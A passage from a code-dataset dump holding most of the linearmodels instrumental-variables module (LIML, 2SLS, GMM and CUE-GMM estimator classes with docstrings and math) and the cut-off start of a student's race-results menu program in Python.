k-class estimation.  If not provided, computed to\n        produce LIML parameter estimate.\n\n    Notes\n    -----\n    ``kappa`` and ``fuller`` should not be used simultaneously since Fuller's\n    alpha applies an adjustment to ``kappa``, and so the same result can be\n    computed using only ``kappa``. Fuller's alpha is used to adjust the\n    LIML estimate of :math:`\\kappa`, which is computed whenever ``kappa``\n    is not provided.\n\n    The LIML estimator is defined as\n\n    .. math::\n\n      \\hat{\\beta}_{\\kappa} & =(X(I-\\kappa M_{z})X)^{-1}X(I-\\kappa M_{z})Y\\\\\n      M_{z} & =I-P_{z}\\\\\n      P_{z} & =Z(Z'Z)^{-1}Z'\n\n    where :math:`Z` contains both the exogenous regressors and the instruments.\n    :math:`\\kappa` is estimated as part of the LIML estimator.\n\n    When using Fuller's :math:`\\alpha`, the value used is modified to\n\n    .. math::\n\n      \\kappa-\\alpha/(n-n_{instr})\n\n    .. todo::\n\n      * VCV: bootstrap\n\n    See Also\n    --------\n    IV2SLS, IVGMM, IVGMMCUE\n    \"\"\"\n\n    def __init__(self, dependent, exog, endog, instruments, *, weights=None,\n                 fuller=0, kappa=None):\n\n        self.dependent = IVData(dependent, var_name='dependent')\n        nobs = self.dependent.shape[0]\n        self.exog = IVData(exog, var_name='exog', nobs=nobs)\n        self.endog = IVData(endog, var_name='endog', nobs=nobs)\n        self.instruments = IVData(instruments, var_name='instruments', nobs=nobs)\n        if weights is None:\n            weights = ones(self.dependent.shape)\n        weights = IVData(weights).ndarray\n        if any(weights <= 0):\n            raise ValueError('weights must be strictly positive.')\n        weights = weights / nanmean(weights)\n        self.weights = IVData(weights, var_name='weights', nobs=nobs)\n\n        self._drop_locs = self._drop_missing()\n        # dependent variable\n        w = sqrt(self.weights.ndarray)\n        self._y = self.dependent.ndarray\n        self._wy = self._y * w\n        # model regressors\n        self._x = c_[self.exog.ndarray, self.endog.ndarray]\n        self._wx = self._x * w\n        # first-stage regressors\n        self._z = c_[self.exog.ndarray, self.instruments.ndarray]\n        self._wz = self._z * w\n\n        self._has_constant = False\n        self._regressor_is_exog = array([True] * self.exog.shape[1] +\n                                        [False] * self.endog.shape[1])\n        self._columns = self.exog.cols + self.endog.cols\n        self._instr_columns = self.exog.cols + self.instruments.cols\n        self._index = self.dependent.rows\n\n        self._validate_inputs()\n        if not hasattr(self, '_method'):\n            self._method = 'IV-LIML'\n            additional = []\n            if fuller != 0:\n                additional.append('fuller(alpha={0})'.format(fuller))\n            if kappa is not None:\n                additional.append('kappa={0}'.format(fuller))\n            if additional:\n                self._method += '(' + ', '.join(additional) + ')'\n        if not hasattr(self, '_result_container'):\n            self._result_container = IVResults\n\n        self._kappa = kappa\n        self._fuller = fuller\n        if kappa is not None and not isscalar(kappa):\n            raise ValueError('kappa must be None or a scalar')\n        if not isscalar(fuller):\n            raise ValueError('fuller must be None or a scalar')\n        if kappa is not None and fuller != 0:\n            import warnings\n            warnings.warn('kappa and fuller should not normally be used '\n                          'simultaneously.  Identical results can be computed '\n                          'using kappa only', UserWarning)\n        if endog is None or instruments is None:\n            self._result_container = OLSResults\n            self._method = 'OLS'\n        self._formula = None\n\n    @staticmethod\n    def from_formula(formula, data, *, weights=None, fuller=0, kappa=None):\n        \"\"\"\n        Parameters\n        ----------\n        formula : str\n            Patsy formula modified for the IV syntax described in the notes\n            section\n        data : DataFrame\n            DataFrame containing the variables used in the formula\n        weights : array-like, optional\n            Observation weights used in estimation\n        fuller : float, optional\n            Fuller's alpha to modify LIML estimator. Default returns unmodified\n            LIML estimator.\n        kappa : float, optional\n            Parameter value for k-class estimation.  If not provided, computed to\n            produce LIML parameter estimate.\n\n        Returns\n        -------\n        model : IVLIML\n            Model instance\n\n        Notes\n        -----\n        The IV formula modifies the standard Patsy formula to include a\n        block of the form [endog ~ instruments] which is used to indicate\n        the list of endogenous variables and instruments.  The general\n        structure is `dependent ~ exog [endog ~ instruments]` and it must\n        be the case that the formula expressions constructed from blocks\n        `dependent ~ exog endog` and `dependent ~ exog instruments` are both\n        valid Patsy formulas.\n\n        A constant must be explicitly included using '1 +' if required.\n\n        Examples\n        --------\n        >>> import numpy as np\n        >>> from linearmodels.datasets import wage\n        >>> from linearmodels.iv import IVLIML\n        >>> data = wage.load()\n        >>> formula = 'np.log(wage) ~ 1 + exper + exper ** 2 + brthord + [educ ~ sibs]'\n        >>> mod = IVLIML.from_formula(formula, data)\n        \"\"\"\n        dep, exog, endog, instr = parse_formula(formula, data)\n        mod = IVLIML(dep, exog, endog, instr, weights=weights,\n                     fuller=fuller, kappa=kappa)\n        mod.formula = formula\n        return mod\n\n    @property\n    def formula(self):\n        \"\"\"Formula used to create the model\"\"\"\n        return self._formula\n\n    @formula.setter\n    def formula(self, value):\n        \"\"\"Formula used to create the model\"\"\"\n        self._formula = value\n\n    def _validate_inputs(self):\n        x, z = self._x, self._z\n        if x.shape[1] == 0:\n            raise ValueError('Model must contain at least one regressor.')\n        if self.instruments.shape[1] < self.endog.shape[1]:\n            raise ValueError('The number of instruments ({0}) must be at least '\n                             'as large as the number of endogenous regressors'\n                             ' ({1}).'.format(self.instruments.shape[1],\n                                              self.endog.shape[1]))\n        if matrix_rank(x) < x.shape[1]:\n            raise ValueError('regressors [exog endog] do not have full '\n                             'column rank')\n        if matrix_rank(z) < z.shape[1]:\n            raise ValueError('instruments [exog instruments]  do not have '\n                             'full column rank')\n        self._has_constant, self._const_loc = has_constant(x)\n\n    def _drop_missing(self):\n        data = (self.dependent, self.exog, self.endog, self.instruments, self.weights)\n        missing = any(c_[[dh.isnull for dh in data]], 0)\n        if any(missing):\n            if all(missing):\n                raise ValueError('All observations contain missing data. '\n                                 'Model cannot be estimated.')\n            self.dependent.drop(missing)\n            self.exog.drop(missing)\n            self.endog.drop(missing)\n            self.instruments.drop(missing)\n            self.weights.drop(missing)\n\n        missing_warning(missing)\n        return missing\n\n    @staticmethod\n    def estimate_parameters(x, y, z, kappa):\n        \"\"\"\n        Parameter estimation without error checking\n\n        Parameters\n        ----------\n        x : ndarray\n            Regressor matrix (nobs by nvar)\n        y : ndarray\n            Regressand matrix (nobs by 1)\n        z : ndarray\n            Instrument matrix (nobs by ninstr)\n        kappa : scalar\n            Parameter value for k-class estimator\n\n        Returns\n        -------\n        params : ndarray\n            Estimated parameters (nvar by 1)\n\n        Notes\n        -----\n        Exposed as a static method to facilitate estimation with other data,\n        e.g., bootstrapped samples.  Performs no error checking.\n        \"\"\"\n        pinvz = pinv(z)\n        p1 = (x.T @ x) * (1 - kappa) + kappa * ((x.T @ z) @ (pinvz @ x))\n        p2 = (x.T @ y) * (1 - kappa) + kappa * ((x.T @ z) @ (pinvz @ y))\n        return inv(p1) @ p2\n\n    def _estimate_kappa(self):\n        y, x, z = self._wy, self._wx, self._wz\n        is_exog = self._regressor_is_exog\n        e = c_[y, x[:, ~is_exog]]\n        x1 = x[:, is_exog]\n        if x1.shape[1] == 0:\n            # No exogenous regressors\n            return 1\n\n        ez = e - z @ (pinv(z) @ e)\n        ex1 = e - x1 @ (pinv(x1) @ e)\n\n        vpmzv_sqinv = inv_sqrth(ez.T @ ez)\n        q = vpmzv_sqinv @ (ex1.T @ ex1) @ vpmzv_sqinv\n        return min(eigvalsh(q))\n\n    def fit(self, *, cov_type='robust', **cov_config):\n        \"\"\"\n        Estimate model parameters\n\n        Parameters\n        ----------\n        cov_type : str, optional\n            Name of covariance estimator to use\n        **cov_config\n            Additional parameters to pass to covariance estimator\n\n        Returns\n        -------\n        results : IVResults\n            Results container\n\n        Notes\n        -----\n        Additional covariance parameters depend on specific covariance used.\n        The see the docstring of specific covariance estimator for a list of\n        supported options. Defaults are used if no covariance configuration\n        is provided.\n        \"\"\"\n        wy, wx, wz = self._wy, self._wx, self._wz\n        liml_kappa = self._estimate_kappa()\n        kappa = self._kappa\n        if kappa is None:\n            kappa = liml_kappa\n\n        if self._fuller != 0:\n            nobs, ninstr = wz.shape\n            kappa -= self._fuller / (nobs - ninstr)\n\n        params = self.estimate_parameters(wx, wy, wz, kappa)\n\n        cov_estimator = COVARIANCE_ESTIMATORS[cov_type]\n        cov_config['kappa'] = kappa\n        cov_config_copy = {k: v for k, v in cov_config.items()}\n        if 'center' in cov_config_copy:\n            del cov_config_copy['center']\n        cov_estimator = cov_estimator(wx, wy, wz, params, **cov_config_copy)\n\n        results = {'kappa': kappa,\n                   'liml_kappa': liml_kappa}\n        pe = self._post_estimation(params, cov_estimator, cov_type)\n        results.update(pe)\n\n        return self._result_container(results, self)\n\n    def wresids(self, params):\n        \"\"\"\n        Compute weighted model residuals\n\n        Parameters\n        ----------\n        params : ndarray\n            Model parameters (nvar by 1)\n\n        Returns\n        -------\n        wresids : ndarray\n            Weighted model residuals\n\n        Notes\n        -----\n        Uses weighted versions of data instead of raw data.  Identical to\n        resids if all weights are unity.\n        \"\"\"\n        return self._wy - self._wx @ params\n\n    def resids(self, params):\n        \"\"\"\n        Compute model residuals\n\n        Parameters\n        ----------\n        params : ndarray\n            Model parameters (nvar by 1)\n\n        Returns\n        -------\n        resids : ndarray\n            Model residuals\n        \"\"\"\n        return self._y - self._x @ params\n\n    @property\n    def has_constant(self):\n        \"\"\"Flag indicating the model includes a constant or equivalent\"\"\"\n        return self._has_constant\n\n    @property\n    def isnull(self):\n        \"\"\"Locations of observations with missing values\"\"\"\n        return self._drop_locs\n\n    @property\n    def notnull(self):\n        \"\"\"Locations of observations included in estimation\"\"\"\n        return logical_not(self._drop_locs)\n\n    def _f_statistic(self, params, cov, debiased):\n        non_const = ~(self._x.ptp(0) == 0)\n        test_params = params[non_const]\n        test_cov = cov[non_const][:, non_const]\n        test_stat = test_params.T @ inv(test_cov) @ test_params\n        test_stat = float(test_stat)\n        nobs, nvar = self._x.shape\n        null = 'All parameters ex. constant are zero'\n        name = 'Model F-statistic'\n        df = test_params.shape[0]\n        if debiased:\n            wald = WaldTestStatistic(test_stat / df, null, df, nobs - nvar,\n                                     name=name)\n        else:\n            wald = WaldTestStatistic(test_stat, null, df, name=name)\n\n        return wald\n\n    def _post_estimation(self, params, cov_estimator, cov_type):\n        vars = self._columns\n        index = self._index\n        eps = self.resids(params)\n        weps = self.wresids(params)\n        cov = cov_estimator.cov\n        debiased = cov_estimator.debiased\n\n        residual_ss = (weps.T @ weps)\n\n        w = self.weights.ndarray\n        e = self._wy\n        if self.has_constant:\n            e = e - sqrt(self.weights.ndarray) * average(self._y, weights=w)\n\n        total_ss = float(e.T @ e)\n        r2 = 1 - residual_ss / total_ss\n\n        fstat = self._f_statistic(params, cov, debiased)\n        out = {'params': Series(params.squeeze(), vars, name='parameter'),\n               'eps': Series(eps.squeeze(), index=index, name='residual'),\n               'weps': Series(weps.squeeze(), index=index, name='weighted residual'),\n               'cov': DataFrame(cov, columns=vars, index=vars),\n               's2': float(cov_estimator.s2),\n               'debiased': debiased,\n               'residual_ss': float(residual_ss),\n               'total_ss': float(total_ss),\n               'r2': float(r2),\n               'fstat': fstat,\n               'vars': vars,\n               'instruments': self._instr_columns,\n               'cov_config': cov_estimator.config,\n               'cov_type': cov_type,\n               'method': self._method,\n               'cov_estimator': cov_estimator}\n\n        return out\n\n\nclass IV2SLS(IVLIML):\n    r\"\"\"\n    Estimation of IV models using two-stage least squares\n\n    Parameters\n    ----------\n    dependent : array-like\n        Endogenous variables (nobs by 1)\n    exog : array-like\n        Exogenous regressors  (nobs by nexog)\n    endog : array-like\n        Endogenous regressors (nobs by nendog)\n    instruments : array-like\n        Instrumental variables (nobs by ninstr)\n    weights : array-like, optional\n        Observation weights used in estimation\n\n    Notes\n    -----\n    The 2SLS estimator is defined\n\n    .. math::\n\n      \\hat{\\beta}_{2SLS} & =(X'Z(Z'Z)^{-1}Z'X)^{-1}X'Z(Z'Z)^{-1}Z'Y\\\\\n                         & =(\\hat{X}'\\hat{X})^{-1}\\hat{X}'Y\\\\\n                 \\hat{X} & =Z(Z'Z)^{-1}Z'X\n\n    The 2SLS estimator is a special case of a k-class estimator with\n    :math:`\\kappa=1`,\n\n    .. todo::\n\n      * VCV: bootstrap\n\n    See Also\n    --------\n    IVLIML, IVGMM, IVGMMCUE\n    \"\"\"\n\n    def __init__(self, dependent, exog, endog, instruments, *, weights=None):\n        self._method = 'IV-2SLS'\n        super(IV2SLS, self).__init__(dependent, exog, endog, instruments,\n                                     weights=weights, fuller=0, kappa=1)\n\n    @staticmethod\n    def from_formula(formula, data, *, weights=None):\n        \"\"\"\n        Parameters\n        ----------\n        formula : str\n            Patsy formula modified for the IV syntax described in the notes\n            section\n        data : DataFrame\n            DataFrame containing the variables used in the formula\n        weights : array-like, optional\n            Observation weights used in estimation\n\n        Returns\n        -------\n        model : IV2SLS\n            Model instance\n\n        Notes\n        -----\n        The IV formula modifies the standard Patsy formula to include a\n        block of the form [endog ~ instruments] which is used to indicate\n        the list of endogenous variables and instruments.  The general\n        structure is `dependent ~ exog [endog ~ instruments]` and it must\n        be the case that the formula expressions constructed from blocks\n        `dependent ~ exog endog` and `dependent ~ exog instruments` are both\n        valid Patsy formulas.\n\n        A constant must be explicitly included using '1 +' if required.\n\n        Examples\n        --------\n        >>> import numpy as np\n        >>> from linearmodels.datasets import wage\n        >>> from linearmodels.iv import IV2SLS\n        >>> data = wage.load()\n        >>> formula = 'np.log(wage) ~ 1 + exper + exper ** 2 + brthord + [educ ~ sibs]'\n        >>> mod = IV2SLS.from_formula(formula, data)\n        \"\"\"\n        dep, exog, endog, instr = parse_formula(formula, data)\n        mod = IV2SLS(dep, exog, endog, instr, weights=weights)\n        mod.formula = formula\n        return mod\n\n\nclass IVGMM(IVLIML):\n    r\"\"\"\n    Estimation of IV models using the generalized method of moments (GMM)\n\n    Parameters\n    ----------\n    dependent : array-like\n        Endogenous variables (nobs by 1)\n    exog : array-like\n        Exogenous regressors  (nobs by nexog)\n    endog : array-like\n        Endogenous regressors (nobs by nendog)\n    instruments : array-like\n        Instrumental variables (nobs by ninstr)\n    weights : array-like, optional\n        Observation weights used in estimation\n    weight_type : str\n        Name of moment condition weight function to use in the GMM estimation\n    **weight_config\n        Additional keyword arguments to pass to the moment condition weight\n        function\n\n    Notes\n    -----\n    Available GMM weight functions are:\n\n    * 'unadjusted', 'homoskedastic' - Assumes moment conditions are\n      homoskedastic\n    * 'robust', 'heteroskedastic' - Allows for heteroskedasticity by not\n      autocorrelation\n    * 'kernel' - Allows for heteroskedasticity and autocorrelation\n    * 'cluster' - Allows for one-way cluster dependence\n\n    The estimator is defined as\n\n    .. math::\n\n      \\hat{\\beta}_{gmm}=(X'ZW^{-1}Z'X)^{-1}X'ZW^{-1}Z'Y\n\n    where :math:`W` is a positive definite weight matrix and :math:`Z`\n    contains both the exogenous regressors and the instruments.\n\n    .. todo::\n\n      * VCV: bootstrap\n\n    See Also\n    --------\n    IV2SLS, IVLIML, IVGMMCUE\n    \"\"\"\n\n    def __init__(self, dependent, exog, endog, instruments, *, weights=None,\n                 weight_type='robust', **weight_config):\n        self._method = 'IV-GMM'\n        self._result_container = IVGMMResults\n        super(IVGMM, self).__init__(dependent, exog, endog, instruments, weights=weights)\n        weight_matrix_estimator = WEIGHT_MATRICES[weight_type]\n        self._weight = weight_matrix_estimator(**weight_config)\n        self._weight_type = weight_type\n        self._weight_config = self._weight.config\n\n    @staticmethod\n    def from_formula(formula, data, *, weights=None, weight_type='robust', **weight_config):\n        \"\"\"\n        Parameters\n        ----------\n        formula : str\n            Patsy formula modified for the IV syntax described in the notes\n            section\n        data : DataFrame\n            DataFrame containing the variables used in the formula\n        weights : array-like, optional\n            Observation weights used in estimation\n        weight_type : str\n            Name of moment condition weight function to use in the GMM estimation\n        **weight_config\n            Additional keyword arguments to pass to the moment condition weight\n            function\n\n        Notes\n        -----\n        The IV formula modifies the standard Patsy formula to include a\n        block of the form [endog ~ instruments] which is used to indicate\n        the list of endogenous variables and instruments.  The general\n        structure is `dependent ~ exog [endog ~ instruments]` and it must\n        be the case that the formula expressions constructed from blocks\n        `dependent ~ exog endog` and `dependent ~ exog instruments` are both\n        valid Patsy formulas.\n\n        A constant must be explicitly included using '1 +' if required.\n\n        Returns\n        -------\n        model : IVGMM\n            Model instance\n\n        Examples\n        --------\n        >>> import numpy as np\n        >>> from linearmodels.datasets import wage\n        >>> from linearmodels.iv import IVGMM\n        >>> data = wage.load()\n        >>> formula = 'np.log(wage) ~ 1 + exper + exper ** 2 + brthord + [educ ~ sibs]'\n        >>> mod = IVGMM.from_formula(formula, data)\n        \"\"\"\n        dep, exog, endog, instr = parse_formula(formula, data)\n        mod = IVGMM(dep, exog, endog, instr, weights=weights, weight_type=weight_type,\n                    **weight_config)\n        mod.formula = formula\n        return mod\n\n    @staticmethod\n    def estimate_parameters(x, y, z, w):\n        \"\"\"\n        Parameters\n        ----------\n        x : ndarray\n            Regressor matrix (nobs by nvar)\n        y : ndarray\n            Regressand matrix (nobs by 1)\n        z : ndarray\n            Instrument matrix (nobs by ninstr)\n        w : ndarray\n            GMM weight matrix (ninstr by ninstr)\n\n        Returns\n        -------\n        params : ndarray\n            Estimated parameters (nvar by 1)\n\n        Notes\n        -----\n        Exposed as a static method to facilitate estimation with other data,\n        e.g., bootstrapped samples.  Performs no error checking.\n        \"\"\"\n        xpz = x.T @ z\n        zpy = z.T @ y\n        return inv(xpz @ w @ xpz.T) @ (xpz @ w @ zpy)\n\n    def fit(self, *, iter_limit=2, tol=1e-4, initial_weight=None,\n            cov_type='robust', **cov_config):\n        \"\"\"\n        Estimate model parameters\n\n        Parameters\n        ----------\n        iter_limit : int, optional\n            Maximum number of iterations.  Default is 2, which produces\n            two-step efficient GMM estimates.  Larger values can be used\n            to iterate between parameter estimation and optimal weight\n            matrix estimation until convergence.\n        tol : float, optional\n            Convergence criteria.  Measured as covariance normalized change in\n            parameters across iterations where the covariance estimator is\n            based on the first step parameter estimates.\n        initial_weight : ndarray, optional\n            Initial weighting matrix to use in the first step.  If not\n            specified, uses the average outer-product of the set containing\n            the exogenous variables and instruments.\n        cov_type : str, optional\n                Name of covariance estimator to use\n        **cov_config\n            Additional parameters to pass to covariance estimator\n\n        Returns\n        -------\n        results : IVGMMResults\n            Results container\n\n        Notes\n        -----\n        Additional covariance parameters depend on specific covariance used.\n        The see the docstring of specific covariance estimator for a list of\n        supported options. Defaults are used if no covariance configuration\n        is provided.\n\n        Available covariance functions are:\n\n        * 'unadjusted', 'homoskedastic' - Assumes moment conditions are\n          homoskedastic\n        * 'robust', 'heteroskedastic' - Allows for heteroskedasticity by not\n          autocorrelation\n        * 'kernel' - Allows for heteroskedasticity and autocorrelation\n        * 'cluster' - Allows for one-way cluster dependence\n        \"\"\"\n        wy, wx, wz = self._wy, self._wx, self._wz\n        nobs = wy.shape[0]\n        weight_matrix = self._weight.weight_matrix\n        wmat = inv(wz.T @ wz / nobs) if initial_weight is None else initial_weight\n        sv = IV2SLS(self.dependent, self.exog, self.endog, self.instruments,\n                    weights=self.weights)\n        _params = params = sv.fit().params.values[:, None]\n        # _params = params = self.estimate_parameters(wx, wy, wz, wmat)\n\n        iters, norm = 1, 10 * tol\n        while iters < iter_limit and norm > tol:\n            eps = wy - wx @ params\n            wmat = inv(weight_matrix(wx, wz, eps))\n            params = self.estimate_parameters(wx, wy, wz, wmat)\n            delta = params - _params\n            if iters == 1:\n                xpz = wx.T @ wz / nobs\n                v = (xpz @ wmat @ xpz.T) / nobs\n                vinv = inv(v)\n            _params = params\n            norm = delta.T @ vinv @ delta\n            iters += 1\n\n        cov_estimator = IVGMMCovariance(wx, wy, wz, params, wmat,\n                                        cov_type, **cov_config)\n\n        results = self._post_estimation(params, cov_estimator, cov_type)\n        gmm_pe = self._gmm_post_estimation(params, wmat, iters)\n\n        results.update(gmm_pe)\n\n        return self._result_container(results, self)\n\n    def _gmm_post_estimation(self, params, weight_mat, iters):\n        \"\"\"GMM-specific post-estimation results\"\"\"\n        instr = self._instr_columns\n        gmm_specific = {'weight_mat': DataFrame(weight_mat, columns=instr, index=instr),\n                        'weight_type': self._weight_type,\n                        'weight_config': self._weight_type,\n                        'iterations': iters,\n                        'j_stat': self._j_statistic(params, weight_mat)}\n\n        return gmm_specific\n\n    def _j_statistic(self, params, weight_mat):\n        \"\"\"J stat and test\"\"\"\n        y, x, z = self._wy, self._wx, self._wz\n        nobs, nvar, ninstr = y.shape[0], x.shape[1], z.shape[1]\n        eps = y - x @ params\n        g_bar = (z * eps).mean(0)\n        stat = float(nobs * g_bar.T @ weight_mat @ g_bar.T)\n        null = 'Expected moment conditions are equal to 0'\n        return WaldTestStatistic(stat, null, ninstr - nvar)\n\n\nclass IVGMMCUE(IVGMM):\n    r\"\"\"\n    Estimation of IV models using continuously updating GMM\n\n    Parameters\n    ----------\n    dependent : array-like\n        Endogenous variables (nobs by 1)\n    exog : array-like\n        Exogenous regressors  (nobs by nexog)\n    endog : array-like\n        Endogenous regressors (nobs by nendog)\n    instruments : array-like\n        Instrumental variables (nobs by ninstr)\n    weights : array-like, optional\n        Observation weights used in estimation\n    weight_type : str\n        Name of moment condition weight function to use in the GMM estimation\n    **weight_config\n        Additional keyword arguments to pass to the moment condition weight\n        function\n\n    Notes\n    -----\n    Available weight functions are:\n\n    * 'unadjusted', 'homoskedastic' - Assumes moment conditions are\n      homoskedastic\n    * 'robust', 'heteroskedastic' - Allows for heteroskedasticity by not\n      autocorrelation\n    * 'kernel' - Allows for heteroskedasticity and autocorrelation\n    * 'cluster' - Allows for one-way cluster dependence\n\n    In most circumstances, the ``center`` weight option should be ``True`` to\n    avoid starting value dependence.\n\n    .. math::\n\n      \\hat{\\beta}_{cue} & =\\min_{\\beta}\\bar{g}(\\beta)'W(\\beta)^{-1}g(\\beta)\\\\\n      g(\\beta) & =n^{-1}\\sum_{i=1}^{n}z_{i}(y_{i}-x_{i}\\beta)\n\n    where :math:`W(\\beta)` is a weight matrix that depends on :math:`\\beta`\n    through :math:`\\epsilon_i = y_i - x_i\\beta`.\n\n    See Also\n    --------\n    IV2SLS, IVLIML, IVGMM\n    \"\"\"\n\n    def __init__(self, dependent, exog, endog, instruments, *, weights=None,\n                 weight_type='robust', **weight_config):\n        self._method = 'IV-GMM-CUE'\n        super(IVGMMCUE, self).__init__(dependent, exog, endog, instruments, weights=weights,\n                                       weight_type=weight_type, **weight_config)\n        if 'center' not in weight_config:\n            weight_config['center'] = True\n\n    @staticmethod\n    def from_formula(formula, data, *, weights=None, weight_type='robust', **weight_config):\n        \"\"\"\n        Parameters\n        ----------\n        formula : str\n            Patsy formula modified for the IV syntax described in the notes\n            section\n        data : DataFrame\n            DataFrame containing the variables used in the formula\n        weights : array-like, optional\n            Observation weights used in estimation\n        weight_type : str\n            Name of moment condition weight function to use in the GMM estimation\n        **weight_config\n            Additional keyword arguments to pass to the moment condition weight\n            function\n\n        Returns\n        -------\n        model : IVGMMCUE\n            Model instance\n\n        Notes\n        -----\n        The IV formula modifies the standard Patsy formula to include a\n        block of the form [endog ~ instruments] which is used to indicate\n        the list of endogenous variables and instruments.  The general\n        structure is `dependent ~ exog [endog ~ instruments]` and it must\n        be the case that the formula expressions constructed from blocks\n        `dependent ~ exog endog` and `dependent ~ exog instruments` are both\n        valid Patsy formulas.\n\n        A constant must be explicitly included using '1 +' if required.\n\n        Examples\n        --------\n        >>> from linearmodels.datasets import wage\n        >>> from linearmodels.iv import IVGMMCUE\n        >>> data = wage.load()\n        >>> formula = 'np.log(wage) ~ 1 + exper + exper ** 2 + brthord + [educ ~ sibs]'\n        >>> mod = IVGMMCUE.from_formula(formula, data)\n        \"\"\"\n        dep, exog, endog, instr = parse_formula(formula, data)\n        mod = IVGMMCUE(dep, exog, endog, instr, weights=weights, weight_type=weight_type,\n                       **weight_config)\n        mod.formula = formula\n        return mod\n\n    def j(self, params, x, y, z):\n        r\"\"\"\n        Optimization target\n\n        Parameters\n        ----------\n        params : ndarray\n            Parameter vector (nvar)\n        x : ndarray\n            Regressor matrix (nobs by nvar)\n        y : ndarray\n            Regressand matrix (nobs by 1)\n        z : ndarray\n            Instrument matrix (nobs by ninstr)\n\n        Returns\n        -------\n        j : float\n            GMM objective function, also known as the J statistic\n\n        Notes\n        -----\n\n        The GMM objective function is defined as\n\n        .. math::\n\n          J(\\beta) = \\bar{g}(\\beta)'W(\\beta)^{-1}\\bar{g}(\\beta)\n\n        where :math:`\\bar{g}(\\beta)` is the average of the moment\n        conditions, :math:`z_i \\hat{\\epsilon}_i`, where\n        :math:`\\hat{\\epsilon}_i = y_i - x_i\\beta`.  The weighting matrix\n        is some estimator of the long-run variance of the moment conditions.\n\n        Unlike tradition GMM, the weighting matrix is simultaneously computed\n        with the moment conditions, and so has explicit dependence on\n        :math:`\\beta`.\n        \"\"\"\n        nobs = y.shape[0]\n        weight_matrix = self._weight.weight_matrix\n        eps = y - x @ params[:, None]\n        w = inv(weight_matrix(x, z, eps))\n        g_bar = (z * eps).mean(0)\n        return nobs * g_bar.T @ w @ g_bar.T\n\n    def estimate_parameters(self, starting, x, y, z, display=False):\n        r\"\"\"\n        Parameters\n        ----------\n        starting : ndarray\n            Starting values for the optimization\n        x : ndarray\n            Regressor matrix (nobs by nvar)\n        y : ndarray\n            Regressand matrix (nobs by 1)\n        z : ndarray\n            Instrument matrix (nobs by ninstr)\n        display : bool\n            Flag indicating whether to display iterative optimizer output\n\n        Returns\n        -------\n        params : ndarray\n            Estimated parameters (nvar by 1)\n\n        Notes\n        -----\n        Exposed to facilitate estimation with other data, e.g., bootstrapped\n        samples.  Performs no error checking.\n\n        See Also\n        --------\n        scipy.optimize.minimize\n        \"\"\"\n        args = (x, y, z)\n        res = minimize(self.j, starting, args=args, options={'disp': display})\n\n        return res.x[:, None], res.nit\n\n    def fit(self, *, starting=None, display=False, cov_type='robust', **cov_config):\n        r\"\"\"\n        Estimate model parameters\n\n        Parameters\n        ----------\n        starting : ndarray, optional\n            Starting values to use in optimization.  If not provided, 2SLS\n            estimates are used.\n        display : bool, optional\n            Flag indicating whether to display optimization output\n        cov_type : str, optional\n            Name of covariance estimator to use\n        **cov_config\n            Additional parameters to pass to covariance estimator\n\n        Returns\n        -------\n        results : IVGMMResults\n            Results container\n\n        Notes\n        -----\n        Additional covariance parameters depend on specific covariance used.\n        The see the docstring of specific covariance estimator for a list of\n        supported options. Defaults are used if no covariance configuration\n        is provided.\n\n        Starting values are computed by IVGMM.\n\n        .. todo::\n\n          * Expose method to pass optimization options\n        \"\"\"\n\n        wy, wx, wz = self._wy, self._wx, self._wz\n        weight_matrix = self._weight.weight_matrix\n        if starting is None:\n            exog = None if self.exog.shape[1] == 0 else self.exog\n            endog = None if self.endog.shape[1] == 0 else self.endog\n            instr = None if self.instruments.shape[1] == 0 else \\\n                self.instruments\n\n            res = IVGMM(self.dependent, exog, endog, instr,\n                        weights=self.weights, weight_type=self._weight_type,\n                        **self._weight_config).fit()\n            starting = res.params.values\n        else:\n            starting = asarray(starting)\n            if len(starting) != self.exog.shape[1] + self.endog.shape[1]:\n                raise ValueError('starting does not have the correct number '\n                                 'of values')\n        params, iters = self.estimate_parameters(starting, wx, wy, wz, display)\n        eps = wy - wx @ params\n        wmat = inv(weight_matrix(wx, wz, eps))\n\n        cov_estimator = IVGMMCovariance(wx, wy, wz, params, wmat, cov_type,\n                                        **cov_config)\n        results = self._post_estimation(params, cov_estimator, cov_type)\n        gmm_pe = self._gmm_post_estimation(params, wmat, iters)\n        results.update(gmm_pe)\n\n        return self._result_container(results, self)\n\n\nclass _OLS(IVLIML):\n    \"\"\"\n    Computes OLS estimated when required\n\n    Parameters\n    ----------\n    dependent : array-like\n        Endogenous variables (nobs by 1)\n    exog : array-like\n        Exogenous regressors  (nobs by nexog)\n    weights : array-like, optional\n        Observation weights used in estimation\n\n    Notes\n    -----\n    Uses IV2SLS internally by setting endog and instruments to None.\n    Uses IVLIML with kappa=0 to estimate OLS models.\n\n    See Also\n    --------\n    statsmodels.regression.linear_model.OLS,\n    statsmodels.regression.linear_model.GLS\n    \"\"\"\n\n    def __init__(self, dependent, exog, *, weights=None):\n        super(_OLS, self).__init__(dependent, exog, None, None, weights=weights, kappa=0.0)\n        self._result_container = OLSResults\n","sub_path":"linearmodels/iv/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":38087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"256368643","text":"# Name: main.py\n# Author: Patrik Richard Szilagyi\n# Description: SOFT6017 Project 2021 - Race Organiser Application\n\n# Import modules\nfrom module_main import *\nfrom module_race import *\n\n\n# Function for printing the main menu\n# Returns the menu selection\ndef menu():\n    print(f\"Select from the following options:\\n\"\n          f\"1. Show the results for a race\\n\"\n          f\"2. Add results for a race\\n\"\n          f\"3. Show all competitors by county\\n\"\n          f\"4. Show the winner of each race\\n\"\n          f\"5. Show all the race times for one competitor\\n\"\n          f\"6. Show all competitors who have won a race\\n\"\n          f\"7. Quit\")\n    MENU_OPTIONS = 7\n    selection = read_menu_selection(\"==> \", MENU_OPTIONS)\n    return selection\n# End of menu function\n\n\n# Function to ask the user to select an option and validate selection\n# No return value\ndef select_option():\n    while True:\n        try:\n            # Call the menu function and store the returned value in menu_selection\n            menu_selection = menu()\n\n            # If statements to validate user selection\n            # Code to execute if 1st option is selected\n            if menu_selection == 1:\n                show_results()\n\n            # Code to execute if 2nd option is selected\n            if menu_selection == 2:\n                add_results()\n\n            # Code to execute if 3rd option is selected\n            if menu_selection == 3:\n                show_competitors_by_county()\n\n            # Code to execute if 4th option is selected\n            if menu_selection == 4:\n                show_winners()\n\n            # Code to execute if 5th option is selected\n            if menu_selection == 5:\n                show_race_times()\n\n            # Code to execute if 6th option is selected\n            if menu_selection == 6:\n                show_winning_competitors()\n\n            # Code to execute if 7th option is selected (Quit program)\n            if menu_selection == 